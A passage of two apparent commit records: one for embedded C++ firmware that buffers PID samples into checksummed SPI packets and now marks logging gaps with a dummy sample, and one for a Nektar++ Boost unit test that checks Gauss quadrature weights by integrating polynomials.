((uint16_t *) &pidSamples[PID_BUFFER_SIZE])[i] = 0xbeef;\n ((uint16_t *) pidDumpPacket.abcdFooter)[SpiSlave::ABCD_BUFFER_SIZE + i] = 0xbeef;\n }\n for (int i = 0; i < SpiSlave::ABCD_BUFFER_SIZE; i++) {\n pidDumpPacket.abcdHeader[i] = 0xabcd;\n pidDumpPacket.abcdFooter[i] = 0xabcd;\n }\n assert ((uint32_t) pidSamples[PID_BUFFER_SIZE].sample.c == 0xbeefbeef);\n}\n\n\/*void restartSamplingIfApplicable() {\n noInterrupts();\n if (pidBufferEmpty() && !sampling && !tryingToRestartSampling && !pidPacketReady) {\n \/\/ Start sampling again!\n pidPacketBodyPointer = 0;\n pidPacketChecksum = 0;\n tryingToRestartSampling = true;\n }\n interrupts();\n}\n*\/\n\n\/\/void sentTriggerPacket() {\n\/\/}\n\n\/* *** Dequeues from pidSamples and moves samples into next packet *** *\/\nvoid checkDataDump() {\n noInterrupts();\n unsigned int pidPacketBodyPointerSave = pidPacketBodyPointer;\n unsigned int pidPacketReadySave = pidPacketReady;\n if(!assert((pidPacketBodyPointerSave == PID_DATA_DUMP_SIZE) == pidPacketReadySave)) {\n \/\/ Likely a race condition\n debugPrintf(\"packetBodyPointer %d, ready? %d\\n\", pidPacketBodyPointerSave, pidPacketReadySave);\n }\n if (pidPacketReady) {\n interrupts();\n return;\n }\n noInterrupts();\n if ((pidPacketBodyPointer < PID_DATA_DUMP_SIZE) && !pidBufferEmpty()) {\n \/\/ Move a sample from large buffer to packet buffer\n if (pidPacketBodyPointer == 0) {\n populateHeader();\n }\n pidSample sample = pidSamples[pidSentDataPointer];\n writeExpandedPidSampleWithChecksum(&sample, &(pidDumpPacket.body[pidPacketBodyPointer]), pidPacketChecksum);\n pidPacketBodyPointer++;\n pidSentDataPointer++;\n }\n pidSentDataPointer = pidSentDataPointer % PID_BUFFER_SIZE;\n assert(pidPacketBodyPointer <= PID_DATA_DUMP_SIZE);\n if (pidPacketBodyPointer >= PID_DATA_DUMP_SIZE) {\n \/\/ Packet is ready!\n noInterrupts();\n assert((sizeof(pidSample) * 8) % 16 == 0);\n pidPacketReady = true;\n\n digitalWriteFast(PID_DATA_READY_PIN, HIGH);\n }\n\n interrupts();\n}\n\n\/\/ Enqueue pid sample for logging\nvoid recordPid(const volatile pidSample& s) {\n if (pidBufferEmpty()) {\n sampling = true;\n }\n if (!sampling) {\n return;\n }\n ((pidSample *) pidSamples)[pidDataPointer] = s;\n pidDataPointer = (pidDataPointer + 1) % PID_BUFFER_SIZE;\n pidSamplesRead++;\n assert(pidDataPointer <= PID_BUFFER_SIZE);\n\n if (pidBufferFull()) {\n sampling = false;\n }\n}\n\n\/\/ Runs in main loop\nvoid taskPidData() {\n if (!assert ((uint32_t) pidSamples[PID_BUFFER_SIZE].sample.c == 0xbeefbeef)) {\n debugPrintf(\"End of buf is %x\\n\", pidSamples[PID_BUFFER_SIZE].sample.c);\n }\n assert (pidDataPointer <= PID_BUFFER_SIZE);\n assert (!(sampling && (pidDataPointer >= PID_BUFFER_SIZE)));\n checkDataDump();\n}\n\n\/\/ Called from dma completion - clears packet buffer so we can prepare the next packet\nvoid pidPacketSent() {\n digitalWrite(PID_DATA_READY_PIN, LOW);\n if ((assert(pidPacketReady))) {\n noInterrupts();\n pidPacketChecksum = 0;\n pidPacketBodyPointer = 0;\n pidPacketReady = false;\n pidSamplesSent += PID_DATA_DUMP_SIZE;\n interrupts();\n }\n}\n\n\/\/ Called from enterTracking\nvoid enterPidData() {\n noInterrupts();\n pidPacketChecksum = 0;\n pidPacketReady = false;\n pidSentDataPointer = 0;\n pidDataPointer = 0;\n timeSinceLastRead = 0;\n pidPacketBodyPointer = 0;\n sampling = true;\n digitalWriteFast(PID_DATA_READY_PIN, LOW);\n interrupts();\n}\n\n\/\/ Called from leaveTracking\nvoid leavePidData() {\n digitalWriteFast(PID_DATA_READY_PIN, LOW);\n noInterrupts();\n pidPacketReady = false;\n sampling = false;\n pidDataPointer = 0;\n interrupts();\n}\n\nvoid pidDataHeartbeat() {\n Serial.printf(\"PID front of buffer %d, back of buffer %d, packet ready? %d, chksum %d, packet pointer %d, sampling %d, packet %d, sent %d\\n\", pidDataPointer, pidSentDataPointer, pidPacketReady, pidPacketChecksum, pidPacketBodyPointer, sampling, pidPacketBodyPointer, pidSamplesSent);\n}\n<commit_msg>Updated pidData.cpp to insert dummy sample at discontinuities in logging<commit_after>#include <main.h>\n#include <pidData.h>\n\n\/* *** Circular buffer for PID samples queued for logging *** *\/\n\/\/ Indexes into pidSamples; Marks index of next data point to transmit to audacy\nvolatile unsigned int pidSentDataPointer = 0;\n\/\/ If sentDataPointer == dataPointer, buffer is empty\n\/\/ If dataPointer == sentDataPointer - 1, buffer is full\nvolatile unsigned int pidDataPointer = 0; \/\/ Marks index of next place to read into\nvolatile unsigned int pidSamplesSent = 0;\nvolatile pidSample pidSamples[PID_BUFFER_SIZE + 10]; \/\/ Add some extra space on the end in case we overflow\nvolatile bool sampling = false;\nelapsedMicros timeSinceLastRead;\n\nvolatile pidDumpPacket_t pidDumpPacket;\nvolatile uint32_t* pidDumpPacketUints = (uint32_t *) &(pidDumpPacket.header);\n\nvolatile uint16_t pidPacketChecksum = 0;\nvolatile unsigned int pidPacketBodyPointer = 0;\nvolatile bool pidPacketReady = false;\n\n\/\/ Telemetry\nvolatile unsigned int pidSamplesRead = 0;\nvolatile unsigned int pidSamplesQueued = 0;\n\nvoid write32WithChecksum(const uint16_t& in, volatile uint32_t& out, volatile uint16_t& pidBufferChecksum) {\n pidBufferChecksum += in;\n out = in;\n}\n\n\/\/ Checksum is updated as samples are pushed into this buffer\nvoid writeExpandedPidSampleWithChecksum(const pidSample* in, volatile expandedPidSample* out, volatile uint16_t& pidBufferChecksum) {\n assert(sizeof(pidSample) * 2 == sizeof(expandedPidSample));\n assert(sizeof(pidSample) == 4 * 4 * 3);\n unsigned int num_uint32 = sizeof(pidSample) \/ 4;\n for (unsigned int i = 0; i < num_uint32; i++) {\n uint32_t num = ((uint32_t *) in)[i];\n ((uint32_t *) out)[2 * i] = num >> 16; \/\/ msb\n pidBufferChecksum += num >> 16;\n ((uint32_t *) out)[2 * i + 1] = num % (1 << 16); \/\/ lsb\n pidBufferChecksum += num % (1 << 16);\n }\n}\n\nvoid populateHeader() {\n write32WithChecksum(0, pidDumpPacket.p_x, pidPacketChecksum);\n write32WithChecksum(1, pidDumpPacket.i_x, pidPacketChecksum);\n write32WithChecksum(2, pidDumpPacket.d_x, pidPacketChecksum);\n write32WithChecksum(3, pidDumpPacket.p_y, pidPacketChecksum);\n write32WithChecksum(4, pidDumpPacket.i_y, pidPacketChecksum);\n write32WithChecksum(5, pidDumpPacket.d_y, pidPacketChecksum);\n write32WithChecksum(6, pidDumpPacket.last_x, pidPacketChecksum);\n write32WithChecksum(7, pidDumpPacket.last_y, pidPacketChecksum);\n write32WithChecksum(8, pidDumpPacket.set_x, pidPacketChecksum);\n write32WithChecksum(9, pidDumpPacket.set_y, pidPacketChecksum);\n}\n\nbool pidBufferEmpty() {\n return (pidSentDataPointer % PID_BUFFER_SIZE) == (pidDataPointer % PID_BUFFER_SIZE);\n}\n\nbool pidBufferFull() {\n return ((pidDataPointer + 1) % PID_BUFFER_SIZE) == (pidSentDataPointer % PID_BUFFER_SIZE);\n}\n\/\/ Runs in main's setup()\nvoid pidDataSetup() {\n (void) assert(((unsigned int) pidDumpPacket.body) % 4 == 0); \/\/ Check offset; Misaligned data may segfault at 0x20000000\n (void) assert(((unsigned int) pidSamples) % 4 == 0);\n debugPrintf(\"pidSamples location (we want this to be far from 0x2000000): %p to %p\\n\", pidSamples, pidSamples + PID_BUFFER_SIZE);\n debugPrintf(\"pidDumpPacket location (we want this to be far from 0x2000000): memory begins %p, samples %p to %p\\n\", &pidDumpPacket, pidDumpPacket.body, pidDumpPacket.abcdFooter + SpiSlave::ABCD_BUFFER_SIZE);\n pinMode(PID_DATA_READY_PIN, OUTPUT);\n for (int i = 0; i < 10; i++) {\n ((uint16_t *) &pidSamples[PID_BUFFER_SIZE])[i] = 0xbeef;\n ((uint16_t *) pidDumpPacket.abcdFooter)[SpiSlave::ABCD_BUFFER_SIZE + i] = 0xbeef;\n }\n for (int i = 0; i < SpiSlave::ABCD_BUFFER_SIZE; i++) {\n pidDumpPacket.abcdHeader[i] = 0xabcd;\n pidDumpPacket.abcdFooter[i] = 0xabcd;\n }\n assert ((uint32_t) pidSamples[PID_BUFFER_SIZE].sample.c == 0xbeefbeef);\n}\n\n\/*void restartSamplingIfApplicable() {\n noInterrupts();\n if (pidBufferEmpty() && !sampling && !tryingToRestartSampling && !pidPacketReady) {\n \/\/ Start sampling again!\n pidPacketBodyPointer = 0;\n pidPacketChecksum = 0;\n tryingToRestartSampling = true;\n }\n interrupts();\n}\n*\/\n\n\/\/void sentTriggerPacket() {\n\/\/}\n\n\/* *** Dequeues from pidSamples and moves samples into next packet *** *\/\nvoid checkDataDump() {\n noInterrupts();\n unsigned int pidPacketBodyPointerSave = pidPacketBodyPointer;\n unsigned int pidPacketReadySave = pidPacketReady;\n if(!assert((pidPacketBodyPointerSave == PID_DATA_DUMP_SIZE) == pidPacketReadySave)) {\n \/\/ Likely a race condition\n debugPrintf(\"packetBodyPointer %d, ready? %d\\n\", pidPacketBodyPointerSave, pidPacketReadySave);\n }\n if (pidPacketReady) {\n interrupts();\n return;\n }\n noInterrupts();\n if ((pidPacketBodyPointer < PID_DATA_DUMP_SIZE) && !pidBufferEmpty()) {\n \/\/ Move a sample from large buffer to packet buffer\n if (pidPacketBodyPointer == 0) {\n populateHeader();\n }\n pidSample sample = pidSamples[pidSentDataPointer];\n writeExpandedPidSampleWithChecksum(&sample, &(pidDumpPacket.body[pidPacketBodyPointer]), pidPacketChecksum);\n pidPacketBodyPointer++;\n pidSentDataPointer++;\n }\n pidSentDataPointer = pidSentDataPointer % PID_BUFFER_SIZE;\n assert(pidPacketBodyPointer <= PID_DATA_DUMP_SIZE);\n if (pidPacketBodyPointer >= PID_DATA_DUMP_SIZE) {\n \/\/ Packet is ready!\n noInterrupts();\n assert((sizeof(pidSample) * 8) % 16 == 0);\n pidPacketReady = true;\n\n digitalWriteFast(PID_DATA_READY_PIN, HIGH);\n }\n\n interrupts();\n}\n\n\/\/ Enqueue pid sample for logging\nvoid recordPid(const volatile pidSample& s) {\n if (pidBufferEmpty() && !sampling) {\n \/\/restart sampling once buffer has been cleared\n sampling = true;\n\n \/\/insert a dummy sample into the stream to indicate the break in sampling\n pidSample fakeSample;\n fakeSample.sample.a = 0x10;\n fakeSample.sample.b = 0x11;\n fakeSample.sample.c = 0x12;\n fakeSample.sample.d = 0x13;\n fakeSample.incoherentOutput.a = 0x14;\n fakeSample.incoherentOutput.b = 0x14;\n fakeSample.incoherentOutput.c = 0x14;\n fakeSample.incoherentOutput.d = 0x14;\n fakeSample.out.x = 0x13;\n fakeSample.out.y = 0x12;\n fakeSample.out.useless1 = 0x11;\n fakeSample.out.useless2 = 0x10;\n ((pidSample *) pidSamples)[pidDataPointer] = fakeSample; \n pidDataPointer = (pidDataPointer + 1) % PID_BUFFER_SIZE;\n assert(pidDataPointer <= PID_BUFFER_SIZE);\n if (pidBufferFull()) {\n \/\/buffer is full after one sample\n sampling = false;\n }\n }\n if (!sampling) {\n return;\n }\n ((pidSample *) pidSamples)[pidDataPointer] = s;\n pidDataPointer = (pidDataPointer + 1) % PID_BUFFER_SIZE;\n pidSamplesRead++;\n assert(pidDataPointer <= PID_BUFFER_SIZE);\n\n if (pidBufferFull()) {\n sampling = false;\n }\n}\n\n\/\/ Runs in main loop\nvoid taskPidData() {\n if (!assert ((uint32_t) pidSamples[PID_BUFFER_SIZE].sample.c == 0xbeefbeef)) {\n debugPrintf(\"End of buf is %x\\n\", pidSamples[PID_BUFFER_SIZE].sample.c);\n }\n assert (pidDataPointer <= PID_BUFFER_SIZE);\n assert (!(sampling && (pidDataPointer >= PID_BUFFER_SIZE)));\n checkDataDump();\n}\n\n\/\/ Called from dma completion - clears packet buffer so we can prepare the next packet\nvoid pidPacketSent() {\n digitalWrite(PID_DATA_READY_PIN, LOW);\n if ((assert(pidPacketReady))) {\n noInterrupts();\n pidPacketChecksum = 0;\n pidPacketBodyPointer = 0;\n pidPacketReady = false;\n pidSamplesSent += PID_DATA_DUMP_SIZE;\n interrupts();\n }\n}\n\n\/\/ Called from enterTracking\nvoid enterPidData() {\n noInterrupts();\n pidPacketChecksum = 0;\n pidPacketReady = false;\n pidSentDataPointer = 0;\n pidDataPointer = 0;\n timeSinceLastRead = 0;\n pidPacketBodyPointer = 0;\n sampling = true;\n digitalWriteFast(PID_DATA_READY_PIN, LOW);\n interrupts();\n}\n\n\/\/ Called from leaveTracking\nvoid leavePidData() {\n digitalWriteFast(PID_DATA_READY_PIN, LOW);\n noInterrupts();\n pidPacketReady = false;\n sampling = false;\n pidDataPointer = 0;\n interrupts();\n}\n\nvoid pidDataHeartbeat() {\n Serial.printf(\"PID front of buffer %d, back of buffer %d, packet ready? %d, chksum %d, packet pointer %d, sampling %d, packet %d, sent %d\\n\", pidDataPointer, pidSentDataPointer, pidPacketReady, pidPacketChecksum, pidPacketBodyPointer, sampling, pidPacketBodyPointer, pidSamplesSent);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ main.cpp\n\/\/ Sophia\n\/\/ Blake Nelson\n\/\/\n\/\/ Driver for the unit tests.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/test\/test_tools.hpp>\n#include <boost\/test\/included\/unit_test_framework.hpp>\n#include <boost\/test\/floating_point_comparison.hpp>\n\nusing boost::unit_test_framework::test_suite;\n\n\n#include <iostream>\nusing namespace std;\n\n\n\n#include <LibUtilities\/BasicUtils\/NekManager.hpp>\n#include <LibUtilities\/Foundations\/Points.h>\n#include <LibUtilities\/Foundations\/GaussPoints.h>\n#include <LibUtilities\/Foundations\/PolyEPoints.h>\n#include <LibUtilities\/Foundations\/Basis.h>\n#include <LibUtilities\/Foundations\/NodalTriFekete.h>\n#include <LibUtilities\/Foundations\/ManagerAccess.h>\n\nusing namespace Nektar;\nusing namespace Nektar::LibUtilities;\n\n\nnamespace Nektar\n{\n namespace MyNewUnitTests\n {\n void simpleTest();\n void testPolyFunc();\n }\n}\n\n\n\/\/ The boost unit test framework provides the main function for us.\n\/\/ All we need to do is provide a test suite.\ntest_suite* init_unit_test_suite( int, char* [] )\n{\n test_suite* test= BOOST_TEST_SUITE( \"Nektar++ Test Suite\" );\n\n test->add(BOOST_TEST_CASE(&Nektar::MyNewUnitTests::simpleTest), 0);\n test->add(BOOST_TEST_CASE(&Nektar::MyNewUnitTests::testPolyFunc),0);\n\n return test;\n}\n\nnamespace Nektar\n{\n namespace MyNewUnitTests\n {\n void simpleTest()\n {\n int size = 10;\n\n \/\/PointsKey gaussKey(size, eGaussLobattoLegendre);\n\n PointsKey gaussKey(size, eGaussGaussLegendre);\n PointsKey polyKey(size, ePolyEvenlySpaced);\n boost::shared_ptr<Points<double> > ptr = PointsManager()[gaussKey];\n boost::shared_ptr<NekMatrix<double> > mat = ptr->GetI(gaussKey);\n\n int m = mat->GetRows();\n int n = mat->GetColumns();\n cout << \"(m, n) = (\" << m << \", \" << n << \")\" << endl;\n\n\n BOOST_CHECK(mat->GetRows() == size); \/\/ Fails here\n BOOST_CHECK(mat->GetColumns() == size);\n\n\n\n Points<double> & points = *ptr;\n cout << \"points.GetPointsDim() = \" << points.GetPointsDim() << endl;\n cout << \"points.GetNumPoints() = \" << points.GetNumPoints() << endl;\n cout << \"points.GetTotNumPoints() = \" << points.GetTotNumPoints() << endl;\n double *z = points.GetZ();\n for( int i=0; i<size; ++i )\n {\n cout << \"z[i] = \" << z[i] << endl;\n }\n cout << endl;\n double *w = points.GetW();\n for( int i=0; i<size; ++i )\n {\n cout << \"w[i] = \" << w[i] << endl;\n }\n\n cout << \"Happy Testing!\" << endl;\n\n }\n\n }\n\n namespace TestUtilities\n {\n \n vector<double> generatePolynomial(int degree) {\n double a[] = {\n -1.3, 1.4, -1.5, 1.2, -1.3, 1.5, -0.1, 1.4, -3.2, 2.4, -1.0, 1.6, -1.3, 4.5,\n 1.3, 1.9, 1.6, 1.3, 1.4, 1.7, 1.9, 0.3, 1.6, \/\/ 23\n 1.2, 0.5, 1.0, 0.3, 0.5, 0.7, 0.4, 0.6 }; \/\/ 31\n\/\/ double a[] = {\n\/\/ 1, 1, 3, 3, 5, 5, 7, 7, 9, 9,\n\/\/ 11,11,13, 13,15,15, 17,17,19, 19,\n\/\/ 21,21,23, 23,25,25, 27,27,29, 29,\n\/\/ 31,31,33, 33,35,35, 37,37,39, 39,\n\/\/ 41,41,43, 43,45,45, 47,47,49, 49,\n\/\/ 51,51,53, 53,55,55, 57,57,59, 59,\n\/\/ 61\n\/\/ };\n\n vector<double> coefficients(a, a + degree + 1);\n return coefficients;\n }\n \n \/\/ Evaluates at x the polynomial that is given by the coefficents\n double evaluatePolynomial(double x, const vector<double> & coefficients) {\n int N = coefficients.size();\n double y = coefficients[N-1];\n for( int i = N-2; i >= 0; --i ) {\n y = coefficients[i] + x*y; \n }\n return y;\n }\n \n \/\/ Integrates the polynomial from [-1,1]\n double integrate(const vector<double> & coefficients) {\n int M = coefficients.size(), N = M - 1;\n double integral = 0;\n for( int n = 0; n <= N\/2; ++n ) {\n integral += coefficients[2*n] \/ (2.0*n + 1.0);\n\/\/ if( N == 4 ) {\n\/\/ cout << \"N\/2 = \" << N\/2 << \", 2*n = \" << 2*n << \", coefficients[2*n] = \" << coefficients[2*n] << \", (2*n + 1) = \" << (2*n + 1) << \", coefficients[2*n] \/ (2*n + 1) = \" << coefficients[2*n] \/ (2*n + 1) << endl;\n\/\/ }\n }\n return 2.0 * integral;\n }\n \n void printPolynomial(const vector<double> & a) {\n cout << a[0];\n if( a.size() > 1 ) {\n cout << \" + \" << a[1] << \"x\";\n }\n for( int n = 2; n < a.size(); ++n ) {\n cout << \" + \" << a[n] << \"x^\" << n;\n }\n }\n }\n namespace MyNewUnitTests\n {\n void testPolynomialOnWeights(const boost::shared_ptr<Points<double> > points, const vector<double> & polynomialCoefficients) {\n const double *z, *w;\n points->GetZW(z, w);\n int numPoints = points->GetNumPoints();\n \n for(int i = 0; i < polynomialCoefficients.size(); ++i) {\n vector<double> a( polynomialCoefficients.begin(), polynomialCoefficients.begin() + i + 1 );\n double analyticIntegral = TestUtilities::integrate(a);\n double numericIntegral = 0;\n for(int j = 0; j < numPoints; ++j) {\n numericIntegral += w[j] * TestUtilities::evaluatePolynomial( z[j], a ); \n }\n cout << \"Points = \" << numPoints << \", Polynomial degree = \" << i << \", nCoef = \" << a.size();\n cout << \", Integral = \" << analyticIntegral << \", Computed area = \" << numericIntegral;\n\/\/ cout << \", P_\" << i << \" = \"; TestUtilities::printPolynomial(a);\n cout << endl;\n \n BOOST_CHECK_CLOSE( numericIntegral, analyticIntegral, 1e-12 );\n }\n }\n const int MaxNumberOfPoints = 15;\n\/\/ const int MaxNumberOfPoints = 31;\n void testPolyFunc()\n {\n\/\/ int P[] = {2,4,8,12};\n\/\/ int N[] = {2,3,5,7};\n\n vector<double> coefficients;\n PointsType type;\n\n BOOST_CHECKPOINT(\"Testing eGaussGaussLegendre\");\n type = eGaussGaussLegendre;\n for( int i = 1; i < MaxNumberOfPoints; ++i ) {\n int nPts = i, degree = 2*i - 1;\n coefficients = TestUtilities::generatePolynomial(degree);\n testPolynomialOnWeights( PointsManager()[PointsKey(nPts, type)], coefficients );\n }\n\n BOOST_CHECKPOINT(\"Testing eGaussLobattoLegendre\");\n type = eGaussLobattoLegendre;\n for( int i = 1; i < MaxNumberOfPoints; ++i ) {\n int nPts = i, degree = 2*i - 3;\n coefficients = TestUtilities::generatePolynomial(degree);\n testPolynomialOnWeights( PointsManager()[PointsKey(nPts, type)], coefficients );\n }\n }\n }\n\n}\n\n\n\n\/**\n $Log: main.cpp,v $\n Revision 1.2 2007\/03\/01 14:09:14 ehan\n *** empty log message ***\n\n Revision 1.1 2007\/03\/01 04:36:20 ehan\n Kdevelop for UnitTest\n \n \n Revision 1.1 2007\/2\/26 04:05:23 ehan\n Added the NewUnitTest project.\n \n**\/\n<commit_msg>test passed eGaussRadauMLegendre, eGaussRadauPLegendre, eGaussGaussLegendre, eGaussLobattoLegendre<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ main.cpp\n\/\/ Sophia\n\/\/ Blake Nelson\n\/\/\n\/\/ Driver for the unit tests.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\n#include <boost\/test\/unit_test.hpp>\n#include <boost\/test\/test_tools.hpp>\n#include <boost\/test\/included\/unit_test_framework.hpp>\n#include <boost\/test\/floating_point_comparison.hpp>\n\nusing boost::unit_test_framework::test_suite;\n\n\n#include <iostream>\nusing namespace std;\n\n\n\n#include <LibUtilities\/BasicUtils\/NekManager.hpp>\n#include <LibUtilities\/Foundations\/Points.h>\n#include <LibUtilities\/Foundations\/GaussPoints.h>\n#include <LibUtilities\/Foundations\/PolyEPoints.h>\n#include <LibUtilities\/Foundations\/Basis.h>\n#include <LibUtilities\/Foundations\/NodalTriFekete.h>\n#include <LibUtilities\/Foundations\/ManagerAccess.h>\n\nusing namespace Nektar;\nusing namespace Nektar::LibUtilities;\n\n\nnamespace Nektar\n{\n namespace MyNewUnitTests\n {\n void simpleTest();\n void testPolyFunc();\n }\n}\n\n\n\/\/ The boost unit test framework provides the main function for us.\n\/\/ All we need to do is provide a test suite.\ntest_suite* init_unit_test_suite( int, char* [] )\n{\n test_suite* test= BOOST_TEST_SUITE( \"Nektar++ Test Suite\" );\n\n test->add(BOOST_TEST_CASE(&Nektar::MyNewUnitTests::simpleTest), 0);\n test->add(BOOST_TEST_CASE(&Nektar::MyNewUnitTests::testPolyFunc),0);\n\n return test;\n}\n\nnamespace Nektar\n{\n namespace MyNewUnitTests\n {\n void simpleTest()\n {\n int size = 10;\n\n \/\/PointsKey gaussKey(size, eGaussLobattoLegendre);\n\n PointsKey gaussKey(size, eGaussGaussLegendre);\n PointsKey polyKey(size, ePolyEvenlySpaced);\n boost::shared_ptr<Points<double> > ptr = PointsManager()[gaussKey];\n boost::shared_ptr<NekMatrix<double> > mat = ptr->GetI(gaussKey);\n\n int m = mat->GetRows();\n int n = mat->GetColumns();\n cout << \"(m, n) = (\" << m << \", \" << n << \")\" << endl;\n\n\n BOOST_CHECK(mat->GetRows() == size); \/\/ Fails here\n BOOST_CHECK(mat->GetColumns() == size);\n\n\n\n Points<double> & points = *ptr;\n cout << \"points.GetPointsDim() = \" << points.GetPointsDim() << endl;\n cout << \"points.GetNumPoints() = \" << points.GetNumPoints() << endl;\n cout << \"points.GetTotNumPoints() = \" << points.GetTotNumPoints() << endl;\n double *z = points.GetZ();\n for( int i=0; i<size; ++i )\n {\n cout << \"z[i] = \" << z[i] << endl;\n }\n cout << endl;\n double *w = points.GetW();\n for( int i=0; i<size; ++i )\n {\n cout << \"w[i] = \" << w[i] << endl;\n }\n\n cout << \"Happy Testing!\" << endl;\n\n }\n\n }\n\n namespace TestUtilities\n {\n \n vector<double> generatePolynomial(int degree) {\n double a[] = {\n -1.3, 1.4, -1.5, 1.2, -1.3, 1.5, -0.1, 1.4, -3.2, 2.4, -1.0, 1.6, -1.3, 4.5,\n 1.3, 1.9, 1.6, 1.3, 1.4, 1.7, 1.9, 0.3, 1.6, \/\/ 23\n 1.2, 0.5, 1.0, 0.3, 0.5, 0.7, 0.4, 0.6 }; \/\/ 31\n\/\/ double a[] = {\n\/\/ 1, 1, 3, 3, 5, 5, 7, 7, 9, 9,\n\/\/ 11,11,13, 13,15,15, 17,17,19, 19,\n\/\/ 21,21,23, 23,25,25, 27,27,29, 29,\n\/\/ 31,31,33, 33,35,35, 37,37,39, 39,\n\/\/ 41,41,43, 43,45,45, 47,47,49, 49,\n\/\/ 51,51,53, 53,55,55, 57,57,59, 59,\n\/\/ 61\n\/\/ };\n\n vector<double> coefficients(a, a + degree + 1);\n return coefficients;\n }\n \n \/\/ Evaluates at x the polynomial that is given by the coefficents\n double evaluatePolynomial(double x, const vector<double> & coefficients) {\n int N = coefficients.size();\n double y = coefficients[N-1];\n for( int i = N-2; i >= 0; --i ) {\n y = coefficients[i] + x*y; \n }\n return y;\n }\n \n \/\/ Integrates the polynomial from [-1,1]\n double integrate(const vector<double> & coefficients) {\n int M = coefficients.size(), N = M - 1;\n double integral = 0;\n for( int n = 0; n <= N\/2; ++n ) {\n integral += coefficients[2*n] \/ (2.0*n + 1.0);\n\/\/ if( N == 4 ) {\n\/\/ cout << \"N\/2 = \" << N\/2 << \", 2*n = \" << 2*n << \", coefficients[2*n] = \" << coefficients[2*n] << \", (2*n + 1) = \" << (2*n + 1) << \", coefficients[2*n] \/ (2*n + 1) = \" << coefficients[2*n] \/ (2*n + 1) << endl;\n\/\/ }\n }\n return 2.0 * integral;\n }\n \n void printPolynomial(const vector<double> & a) {\n cout << a[0];\n if( a.size() > 1 ) {\n cout << \" + \" << a[1] << \"x\";\n }\n for( int n = 2; n < a.size(); ++n ) {\n cout << \" + \" << a[n] << \"x^\" << n;\n }\n }\n }\n namespace MyNewUnitTests\n {\n void testPolynomialOnWeights(const boost::shared_ptr<Points<double> > points, const vector<double> & polynomialCoefficients, bool isVerbose = false) {\n \/\/bool isVerbose = false;\n \n const double *z, *w;\n points->GetZW(z, w);\n int numPoints = points->GetNumPoints();\n \n for(int i = 0; i < polynomialCoefficients.size(); ++i) {\n vector<double> a( polynomialCoefficients.begin(), polynomialCoefficients.begin() + i + 1 );\n double analyticIntegral = TestUtilities::integrate(a);\n double numericIntegral = 0;\n for(int j = 0; j < numPoints; ++j) {\n numericIntegral += w[j] * TestUtilities::evaluatePolynomial( z[j], a ); \n }\n if( isVerbose ) {\n cout << \"Points = \" << numPoints << \", Polynomial degree = \" << i << \", nCoef = \" << a.size();\n cout << \", Integral = \" << analyticIntegral << \", Computed area = \" << numericIntegral;\n \/\/ cout << \", P_\" << i << \" = \"; TestUtilities::printPolynomial(a);\n cout << \", z[0] = \" << z[0] << \", w[0] = \" << w[0] << \", z[n-1] = \" << z[numPoints-1] << \", w[n-1] = \" << w[numPoints-1];\n cout << endl;\n }\n \n \/\/BOOST_CHECK_CLOSE( numericIntegral, analyticIntegral, 1e-12 );\n BOOST_CHECK_CLOSE( numericIntegral, analyticIntegral, 1e-11 );\n }\n\n if( isVerbose ) {\n cout << \" End of the polynomial Unit Test\" << endl;\n }\n }\n \n \n const int MaxNumberOfPoints = 15;\n \n void testPolyFunc()\n {\n vector<double> coefficients;\n PointsType type;\n const char * cp = \"\";\n\n\n\n type = eGaussGaussLegendre;\n cp = \"Testing eGaussGaussLegendre\";\n cout << cp << endl;\n BOOST_CHECKPOINT(cp);\n for( int i = 1; i < MaxNumberOfPoints; ++i ) {\n int nPts = i, n = nPts - 1, degree = 2*n + 1;\n coefficients = TestUtilities::generatePolynomial(degree);\n testPolynomialOnWeights( PointsManager()[PointsKey(nPts, type)], coefficients );\n }\n \n type = eGaussLobattoLegendre;\n cp = \"Testing eGaussLobattoLegendre\";\n cout << cp << endl;\n BOOST_CHECKPOINT(cp);\n for( int i = 1; i < MaxNumberOfPoints; ++i ) {\n int nPts = i, n = nPts - 1, degree = 2*n - 1;\n coefficients = TestUtilities::generatePolynomial(degree);\n testPolynomialOnWeights( PointsManager()[PointsKey(nPts, type)], coefficients );\n }\n \n type = eGaussRadauMLegendre;\n cp = \"Testing eGaussRadauMLegendre\";\n cout << cp << endl;\n BOOST_CHECKPOINT(cp);\n for( int i = 1; i< MaxNumberOfPoints; ++i) {\n int nPts = i, n = nPts - 1, degree = 2*n - 1;\n coefficients = TestUtilities::generatePolynomial(degree);\n testPolynomialOnWeights( PointsManager()[PointsKey(nPts, type)], coefficients );\n }\n \n type = eGaussRadauPLegendre;\n cp = \"Testing eGaussRadauPLegendre\";\n cout << cp << endl;\n BOOST_CHECKPOINT(cp);\n for( int i=1; i<MaxNumberOfPoints; ++i){\n int nPts = i, n = nPts - 1, degree = 2*n;\n coefficients = TestUtilities::generatePolynomial(degree);\n testPolynomialOnWeights( PointsManager()[PointsKey(nPts, type)], coefficients, true );\n }\n }\n }\n\n}\n\n\/\/ enum PointsType\n\/\/ 00075 {\n\/\/ 00076 eNoPointsType,\n\/\/ 00077 eGaussGaussLegendre, \n\/\/ 00078 eGaussRadauMLegendre, \n\/\/ 